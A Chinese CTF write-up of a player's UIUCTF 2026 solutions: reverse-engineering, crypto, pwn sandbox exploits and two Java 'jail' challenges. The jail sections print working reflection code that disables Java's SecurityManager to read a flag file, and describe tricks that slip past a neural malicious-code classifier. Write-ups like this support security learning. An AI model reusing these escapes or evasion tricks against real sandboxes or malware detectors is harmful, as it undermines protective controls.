UIUCTF 2026 WP
成绩
Open组总榜第71名 / 548支队伍
Top 13%
队伍:Jun Pavilion
队伍总分:1398,解出14题。
个人得分:1229,解出12题,占队伍总分的87.9%。
比赛时间为2026年8月8日00:00至8月10日00:00(UTC),共48小时。
这次主要做了Reverse、Crypto、Pwn和Misc,Web反而没有成功提交的题目。
以下整理自己提交的12道题目。部分复杂题目在赛后重新分析过,技术细节结合了后续复盘和公开复现资料.
[Behind the Curtain]
Reverse / 148分
附件是一个名为sparkle的ELF程序。
表面上是输入Flag进行验证,实际验证逻辑藏在LuaJIT字节码里面,而且还套了多层闭包和自定义运算。
直接分析ELF本身意义不大,需要先找到它内嵌的LuaJIT字节码。
提取LuaJIT字节码
分析程序数据段,可以找到LuaJIT字节码的特征头:
1B 4C 4A
即\x1bLJ。
对应字节码在文件中的偏移为442592,长度131403字节。
提取:
from pathlib import Path
data = Path("sparkle").read_bytes()
offset = 442592
size = 131403
bytecode = data[offset:offset + size]
assert bytecode.startswith(b"\x1bLJ")
Path("curtain.ljbc").write_bytes(bytecode)
这部分字节码包含大量函数原型,实际校验函数没有直接暴露在顶层逻辑里。
可以利用Lua的debug.getupvalue()获取闭包捕获的外部变量,逐层检查内部函数。
关键调用关系大致为:
checker
|
v
vm
|
v
objects
|
+---- finale
|
+---- state
其中,objects[349][1]对应最终的校验逻辑,objects[349][10]可以关联到内部状态。
这道题的关键不只是反编译Lua,而是把闭包里的校验逻辑还原出来。
还原校验算法
程序要求输入长度为70字节。
在内部处理中,70个输入字节会被扩展成72个状态值,其中额外两个位置固定为256。
最后执行16轮状态变换,包括加法、乘法、位置置换等操作。
最重要的是,这些计算不是普通的8位字节运算,而是在模257的整数域上进行。
例如:
其中$a$不为0时,可以通过模逆元恢复$x$:
257是素数,所以对任意非零$a$,都存在乘法逆元。
Python中可以直接计算:
def inverse_affine(y, a, b):
return ((y - b) * pow(a, -1, 257)) % 257
如果只是看到一堆复杂的乘法、加法和交换,很容易觉得这是一道需要爆破的题目。
实际上,只要恢复每一轮运算的顺序,就可以从最终状态反推回原始输入。
还原时要注意两点。
第一,置换需要按相反顺序撤销。
第二,逆向计算过程中不能提前把数值压缩成8位,否则会丢失模257运算中的状态信息。
整个求解逻辑如下:
最终校验状态
|
v
逆向还原第16轮
|
v
逆向还原第15轮
|
...
|
v
逆向还原第1轮
|
v
撤销输入位置变换
|
v
恢复70字节原始输入
最后得到:
uiuctf{t4k3_th3_m4sk_fr0m_4_m4sk3d_f00l_4nd_wh4t5_l3ft_15_ju5t_4_f00l}
程序验证成功时输出:
The audience erupts in applause.
Flag:
uiuctf{t4k3_th3_m4sk_fr0m_4_m4sk3d_f00l_4nd_wh4t5_l3ft_15_ju5t_4_f00l}
[glyphs]
Reverse / 142分
这道题的程序体积比较大,内部构造的计算过程也很不常规。
看起来是在验证输入字符串,但实际上是把字符转换成一种图形表示,再通过Lambda演算构造的数据结构进行比较。
程序中涉及一张13915 × 13843规模的图像。图像中的内容并不是单纯用来展示,而是参与构造表达式和解释执行的过程。
最开始不能把整个计算过程当成普通的字符串比较。
提取表达式结构
核心是找到解释器使用的数据结构。
可以将内部节点区分成:
0 常量
2 变量
3 Lambda抽象
4 函数应用
由这些节点组成的结构实际上是一棵Lambda表达式树。
程序对输入进行处理后,得到的表达式还会经过规约。
如果强行逐步执行完整求值,计算开销很大。
因此需要把程序中的表达式结构导出,在外部实现一个简化解释器。
这里需要考虑惰性求值,也就是只有在某个表达式真正需要计算时才展开它,避免无意义的重复规约。
找到输入与Glyph的映射
进一步分析发现,程序采用了一种类似Scott Encoding的结构表示。
树节点可以分为:
Tree
|
+-- Empty
|
+-- Node(Glyph, Left, Right)
其中Glyph由0、1、2组成的三值序列构成。
目标表达式包含141个节点,而正确输入长度是146字节。
程序并不是简单地把146个字符逐一比较,而是将部分字符组合成二字节单元,再转换为对应的Glyph。
这里可以利用一个很重要的性质:
同样的二字节字符组合,不论放在什么有效位置,都会转换成同样的Glyph。
这样就不需要对整个146字节字符串进行爆破。
可以先给不同位置填入已知字符组合,观察构造出来的目标树发生了什么变化,再建立映射表。
求解过程可以分成:
- 构造指定长度的测试输入。
- 导出输入生成的Lambda表达式树。
- 对表达式进行规约,恢复Glyph序列。
- 改变输入中的指定二字节组合。
- 比较变化后的Glyph,建立字符对映射。
- 通过映射恢复目标字符串。
实际分析发现有部分输入位置不会影响最终验证结果。
例如这些二字节单元索引:
7, 25, 26, 32, 34, 40, 47,
48, 52, 54, 57, 62, 67
也就是说,这道题存在多个能够通过验证的输入,并不是每一个位置都被完整约束。
将有效位置恢复后,可以根据整句话的内容补全那些没有受到检查的字符,得到出题人预期的Flag。
uiuctf{oRig1naLLy_7Hi5_W4s_gonna_be_moR3_FoCU53d_0N_the_GLyPh_p4rt_BU7_1_f3LL_d0WN_7h3_L4mbD4_c4lc_R4bb17_H0Le_uH_H3R3_w3_4r3_noW_4iN7_7H47_gR3at}
本地程序接受后输出:
good
Flag:
uiuctf{oRig1naLLy_7Hi5_W4s_gonna_be_moR3_FoCU53d_0N_the_GLyPh_p4rt_BU7_1_f3LL_d0WN_7h3_L4mbD4_c4lc_R4bb17_H0Le_uH_H3R3_w3_4r3_noW_4iN7_7H47_gR3at}
[Veil of Evernight]
Reverse / 95分
附件是一个经过大量混淆处理的静态链接ELF程序。
正常运行时会进行一系列复杂的状态运算,但真正有用的信息隐藏在内部的虚拟机和加密数据中。
分析后发现,程序里有一个长度约213字节的自定义VM。
与其逐条翻译全部虚拟机指令,不如找到虚拟机实际解出数据的时刻,直接获取中间结果。
定位解密过程
虚拟机内部维护若干寄存器,其中一部分寄存器保存当前数据片段的偏移、长度、顺序等信息。
关键位置包括:
VM PC 0x9c
此时可以观察到当前数据片段的元数据。
VM PC 0xba
此时可以提取经过解密的数据字节。
分析发现,程序中保存着765条经过混淆的片段记录。
每条记录包含类似:
offsetA
offsetB
length
rank
seed
的数据。
这些片段不是按原始顺序排列的,因此只把所有解密字节简单拼接起来,仍然无法得到正确内容。
需要同时恢复每个片段的rank,按顺序重新排列。
重组隐藏数据
得到解密字节流和每个片段长度后,可以按照记录切分,再根据排序字段重组。
核心逻辑如下:
from pathlib import Path
# records: 由虚拟机提取的片段元数据
# recovered: 按执行顺序导出的解密字节流
fragments = []
cursor = 0
for record in records:
length = record["length"]
rank = record["rank"]
chunk = recovered[cursor:cursor + length]
cursor += length
fragments.append((rank, chunk))
result = b"".join(
chunk for rank, chunk in sorted(fragments)
)
Path("memory.png").write_bytes(result)
这里的代码仅展示重组步骤,records和recovered需要先从原程序获取。
最后重建的数据长度为195816字节,对应一张466×341的RGB图像。
图像中包含了Flag的主要内容,但最后的字符存在歧义。
可以确定前27字节为:
uiuctf{wh3r3_i5_my_c4m3r4_4
而验证程序要求总长度为29字节。
也就是说,只需要解决最后两个字符。
理论上,如果限制在可打印ASCII字符范围,最多只有:
种组合。
通过恢复后的验证逻辑确认,真正通过检查的结尾是:
t}
完整Flag:
uiuctf{wh3r3_i5_my_c4m3r4_4t}
[vector-cache]
Reverse / 50分
这道题比较有意思,正常反编译很容易被它的控制流带偏。
程序是一个去符号的PIE ELF,输入格式为:
uiuctf{48位小写十六进制}
也就是说,真正需要恢复的是24字节数据。
但在跟踪程序时会遇到ud2指令。
ud2
这是x86中的非法指令,执行后会触发SIGILL信号。
正常情况下,程序应该因此崩溃。
但这道题在前面主动注册了SIGILL信号处理函数。
所以这里的ud2并不是异常,而是故意设计的控制流转移。
SIGILL与隐藏虚拟机
大致逻辑为:
执行ud2
|
v
触发SIGILL
|
v
进入自定义信号处理函数
|
v
解释隐藏的VM指令
|
v
修改寄存器和上下文
|
v
返回正常执行流程
如果使用GDB调试,可以设置:
handle SIGILL nostop noprint pass
这样在遇到非法指令时,不会反复停在信号位置,而是允许程序将信号交给自己的处理函数。
当然,真正分析时还需要进入信号处理函数,查看它如何修改ucontext里的寄存器。
这道题还使用了fork,部分验证逻辑在子进程中完成,所以只跟踪父进程可能会漏掉关键计算。
还原VM校验
隐藏VM大致包含7种操作指令。
24字节输入会被分成三组,每组8字节:
Mode 0 : byte 0 - 7
Mode 1 : byte 8 - 15
Mode 2 : byte 16 - 23
每组对应96条约束,合计288条。
校验过程里还包含异或、表查询、非线性状态更新等操作。
与直接暴力枚举24字节相比,更合适的办法是将隐藏VM里的约束提取出来,转成有限域上的约束求解问题。
具体可以先枚举单变量约束,缩小每个字节的候选范围,再处理两个字节之间的关系。
求解器利用回溯和前向约束检查,逐步确定每组8字节的内容。
恢复出的结果为:
mode 0: 8655505e3fea99f9
mode 1: cb2f10aa25aa8d66
mode 2: a301473757aba051
拼接后:
parts = [
"8655505e3fea99f9",
"cb2f10aa25aa8d66",
"a301473757aba051"
]
flag = "uiuctf{" + "".join(parts) + "}"
print(flag)
注意,这里除了VM的288条约束以外,程序还存在最后一层状态混合校验。
因此不能仅仅满足中间约束就认定成功,还需要用原程序进行最终验证。
恢复出的Flag能够通过最终校验,返回:
accepted
Flag:
uiuctf{8655505e3fea99f9cb2f10aa25aa8d66a301473757aba051}
[Young Cryptography]
Crypto / 50分
这道题看上去是利用矩阵构造密钥交换协议。
公开数据包括:
G
AG
GB
ciphertext
IV
其中G、AG、GB都是64×64矩阵。
可以把它理解为一个类似Diffie-Hellman的结构:
公开:G
Alice:
A * G = AG
Bob:
G * B = GB
共享:
A * G * B
但题目里的乘法不是一般的矩阵乘法,而是自定义的my_prod()。
阅读实现后可以发现,这实际上和Young Tableau、Robinson-Schensted-Knuth对应以及Plactic Monoid有关。
问题出在哪里
这道题不需要恢复原始私钥矩阵A和B。
由于底层运算具有结合性,只要能够找到一个Q满足:
就可以计算:
也就是说,找到任何一个符合条件的左商就足够了。
这里不要求Q一定等于原始私钥A。
题目的核心因此变成了Plactic Monoid上的求商问题,而不是传统意义上破解一个矩阵密码。
赛后复盘中可以通过Young Tableau对应的插入与逆向约束来寻找这样的Q。
验证找到的Q满足my_prod(Q,G)==AG后,再计算共享矩阵。
恢复AES密钥
原始程序对共享矩阵进行字符串序列化,使用SHA-256生成AES密钥。
这里很容易出现问题,因为必须严格保持Python原始列表的字符串格式。
不能直接对矩阵的二进制字节或者JSON字符串进行哈希。
核心步骤:
import hashlib
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
# Q 为恢复出的一个有效左商
# G、AG、GB为题目公开数据
assert my_prod(Q, G) == AG
shared_matrix = my_prod(Q, GB)
key = hashlib.sha256(
str(shared_matrix).encode()
).digest()
cipher = AES.new(
key,
AES.MODE_CBC,
iv
)
plain = unpad(cipher.decrypt(ct), 16)
print(plain.decode())
my_prod()及Q的恢复算法需要配合题目附件;以上是密钥恢复完成后的解密流程。
题目源码里有一个digest()[:128]的写法,但SHA-256摘要本身只有32字节,所以不会改变结果,实际仍然使用完整的256位密钥。
最后得到:
uiuctf{r081n50n_sch3n573d_knu7h_f9a29620}
[Movement I]
Crypto / 291分
这是个人提交记录中分值最高的一道题。
官方记录确认,2026年8月8日10:55 UTC完成提交,获得291分。
不过,这道题目前没有恢复出可靠的原始附件、完整EXP和Flag。此前保存的解题记录也不足以确认它具体使用了哪种密码算法。
因此先保留这一节,暂不把没有验证过的解法写进WP。
[Sparxie: Vanishing Encore]
Pwn / 114分
这道题是Lua与WebAssembly结合的沙箱题。
程序允许提交一种自定义Cartridge,内部包含Lua脚本,但操作过程受到宿主环境和权限令牌限制。
附件中的操作接口大致包含:
sparxie.studio()
studio:clip(...)
sparxie.timeline(...)
studio:render(...)
sparxie.queue(...)
queue:lens()
draft:publish()
正常情况下,脚本只能通过这些API进行受控操作,并不能直接读取宿主环境中的Flag。
漏洞利用需要同时处理两个问题:
- 绕过Cartridge的权限限制。
- 利用对象生命周期问题获得越界内存访问能力。
Cartridge权限
题目中的Cartridge格式带有SPX2LIVE标识。
其中的Spotlight Pass用于验证请求中的权限信息。
进一步分析发现,校验并没有严格覆盖整个路由数据区域。
因此可以在保留有效签名数据的情况下,调整部分未被覆盖的路由信息,让脚本进入后续的功能接口。
但这只是获得进一步操作能力,并不能直接拿到Flag。
Clip对象的UAF
实际漏洞在Clip对象与底层内存的映射关系中。
可以创建两个不同的Clip对象,让它们引用同一片底层数据:
local a = studio:clip(0, 4096)
local b = studio:clip(0, 4096)
local timeline = sparxie.timeline({b, a})
两个对象在Lua层面上不同,但底层都指向相同的owner、offset和length。
在渲染、重定位和释放阶段,程序对这两个对象的处理存在不一致。
其中一个对象对应的内存释放以后,另一个对象仍保留对原地址的引用。
这就是典型的Use-After-Free。
接下来通过申请其他对象,复用已经释放的内存块。
当这块内存被重新作为Queue相关数据使用时,原来的Clip写入接口就可以影响Queue元数据。
最终实现的不是简单的字符串覆盖,而是通过损坏对象结构里的指针,让lens接口访问不属于原对象的数据。
利用链为:
两个Clip引用同一底层内存
|
v
渲染后发生释放
|
v
留下悬空引用
|
v
Queue复用该内存
|
v
Clip写入Queue元数据
|
v
篡改Lens指针
|
v
读取Draft信息
|
v
构造合法Proof
|
v
publish
构造最终Proof
获得Draft及相关权限数据后,还需要计算符合目标要求的BLAKE2s证明值。
这里不能直接提交任意字符串,因为宿主环境会根据实际的Authority、Draft、Seal等数据重新计算验证值。
所以最后一步是利用泄露出来的真实内部数据构造证明,再调用publish()。
当验证通过后,宿主环境会进入后续的兑换逻辑,读取Flag。
得到:
uiuctf{c0m3_w17h_5p4rx13_71ll_7h3_3nd_0f_7h3_w0rld}
[Firefly: Complete Combustion]
Pwn / 88分
又是一道Lua相关的Pwn题。
程序使用Lua 5.5,允许提交编译后的Lua Chunk。
一些危险API已经被移除,例如:
load()
loadfile()
dofile()
但题目并不是通过普通Lua语法绕过限制。
真正的漏洞在Lua字节码虚拟机内部。
修改Lua字节码
程序接收的Payload是:
4字节大端长度
+
Lua Chunk
可以先通过luac将Lua源码编译为字节码,然后修改其中的指令。
关键是OP_FORLOOP。
正常的Lua循环会检查相关寄存器保存的数值类型,并维护循环状态。
但在题目使用的Lua 5.5实现中,FORLOOP对部分寄存器的类型假设存在可以利用的空间。
通过构造异常字节码,可以让原本表示其他Lua对象的寄存器内容参与数值更新。
其中涉及对TValue内部数据的修改。
Lua解释器中的TValue同时保存类型信息和实际值。
如果只改变实际值,却保留原来的类型标签,那么程序可能继续把已经损坏的数据解释为字符串、表或函数指针。
于是可以进一步构造类型混淆。
从类型混淆到任意读写
大致分为三个阶段。
首先利用异常FORLOOP修改内部对象指针。
接着构造伪造的Lua String或Table对象,获得越界读取和写入能力。
最后再利用轻量级C函数指针的偏移关系,访问正常Lua沙箱没有暴露的宿主函数。
与一般直接执行os.execute()的Lua沙箱逃逸不同,这里操作的已经是解释器内部的堆内存和函数指针。
相关利用还涉及文件流对象的生命周期。
通过修改部分函数调用路径,可以让读取/flag.txt后的数据继续保留在进程内存中,再利用伪造字符串进行读取。
最后从内存中找到Flag。
远程服务返回:
uiuctf{1_sh4ll_s3t_th3_s34s_4bl4z3}
Flag:
uiuctf{1_sh4ll_s3t_th3_s34s_4bl4z3}
[jail]
Misc / 50分
这道题需要提交Java源码。
服务器收到源码后,先用一个PyTorch模型判断代码是否恶意,只有通过检测的代码才会被编译和执行。
但即使通过模型,也还有Java SecurityManager限制文件访问和命令执行。
因此实际存在两道限制:
Java源码
|
v
PyTorch恶意代码检测
|
v
javac编译
|
v
Java SecurityManager
|
v
执行UserClass
首先需要绕过模型,然后再绕过SecurityManager。
绕过SecurityManager
题目使用的SecurityManager并没有完全封锁反射访问。
特别是,它允许ReflectPermission("suppressAccessChecks")。
Java可以通过反射访问类中的私有字段。
不过,直接通过:
System.class.getDeclaredField("security")
访问目标字段会受到部分JDK反射过滤机制影响。
因此可以进一步访问Class中的底层方法:
getDeclaredFields0(false)
通过这个方法枚举原本被过滤的字段。
关键代码:
java.lang.reflect.Method m =
Class.class.getDeclaredMethod(
"getDeclaredFields0",
boolean.class
);
m.setAccessible(true);
for (java.lang.reflect.Field f :
(java.lang.reflect.Field[])
m.invoke(System.class, false)) {
if (f.getType() == SecurityManager.class) {
f.setAccessible(true);
f.set(null, null);
}
}
将System.security置空以后,后续文件访问就不再受到这个SecurityManager的限制。
然后可以读取Flag文件:
String p = new String(
new char[]{47, 102, 108, 97, 103}
);
System.out.println(
new java.util.Scanner(
new java.io.File(p)
).useDelimiter("\\A").next()
);
这里的字符数组实际对应:
/flag
绕过PyTorch检测
程序不是通过传统的静态规则进行检测,而是将源码UTF-8字节输入一个字符级CNN。
它使用多个不同大小的卷积窗口,然后对特征进行分类。
在jail中,要求:
torch.sigmoid(logits) < 0.1
等价于:
由于检测的是原始源码字节,因此可以在Java源码末尾添加不会参与执行的注释,让模型对注释内容产生错误判断。
例如:
public class UserClass {
// 正常的Java代码
}
/*
用于影响分类模型的字节序列
*/
javac会忽略注释,但PyTorch模型仍然会处理注释中的每个字节。
可以利用提供的模型权重,选择能够降低恶意判定分数的字符片段。
赛后公开复现中,经过构造的注释把logit压低到约-13.87,远低于检测阈值。
模型放行后,再使用前面的反射代码解除SecurityManager,读取Flag。
Flag:
uiuctf{4dv3r4r14l_y3t_funct10n4l_182df23ea}
[smaller-jail]
Misc / 101分
这道题是jail的强化版本,仍然要求提交Java源码。
整体沙箱结构差不多,但恶意代码检测的阈值发生了变化。
原先是:
sigmoid(logit) < 0.1
这里调整为:
sigmoid(logit) < 0.5
也就是:
虽然新的数值阈值更宽松,但这道题不再适合只依赖前一道题的注释方案,需要进一步调整源码在模型眼中的字节特征。
利用Java与模型的解析差异
Java编译器看到的源码,和CNN看到的原始字节序列并不完全是一回事。
例如,某些Unicode字符可以作为Java标识符中的可忽略字符。
编译器会把这类标识符识别为有效名称,但分类模型仍然按照原始UTF-8字节进行处理。
这样就能在不改变Java程序语义的情况下,破坏模型已经学习到的局部字节特征。
例如在关键标识符中插入可忽略字符。
公开复现中使用了:
U+008A
U+0013
这样的字符。
另外,还可以将一些显眼的字符串常量拆开。
例如,不直接在源码里完整写出敏感标识符,而是通过字符串拼接生成。
对于Java程序来说,执行后的结果没有改变。
但对于依赖局部卷积窗口的检测模型来说,输入数据已经发生明显变化。
整个过程可以概括为:
构造Java逃逸代码
|
v
测量CNN输出分数
|
v
查找高权重特征窗口
|
v
修改源码的字节表示
|
v
重新编译、测试语义
|
v
继续降低检测分数
|
v
提交可正常执行的Payload
赛后复现得到的模型结果:
logit = -0.036778
probability = 0.490806
accepted = True
已经满足小于0.5的检测条件。
最后仍然通过反射获取并清空SecurityManager,再读取Flag文件。
Flag:
uiuctf{sp4c1ng_0ut_0f_j141_469b8bda50be4a10}

















这一切,似未曾拥有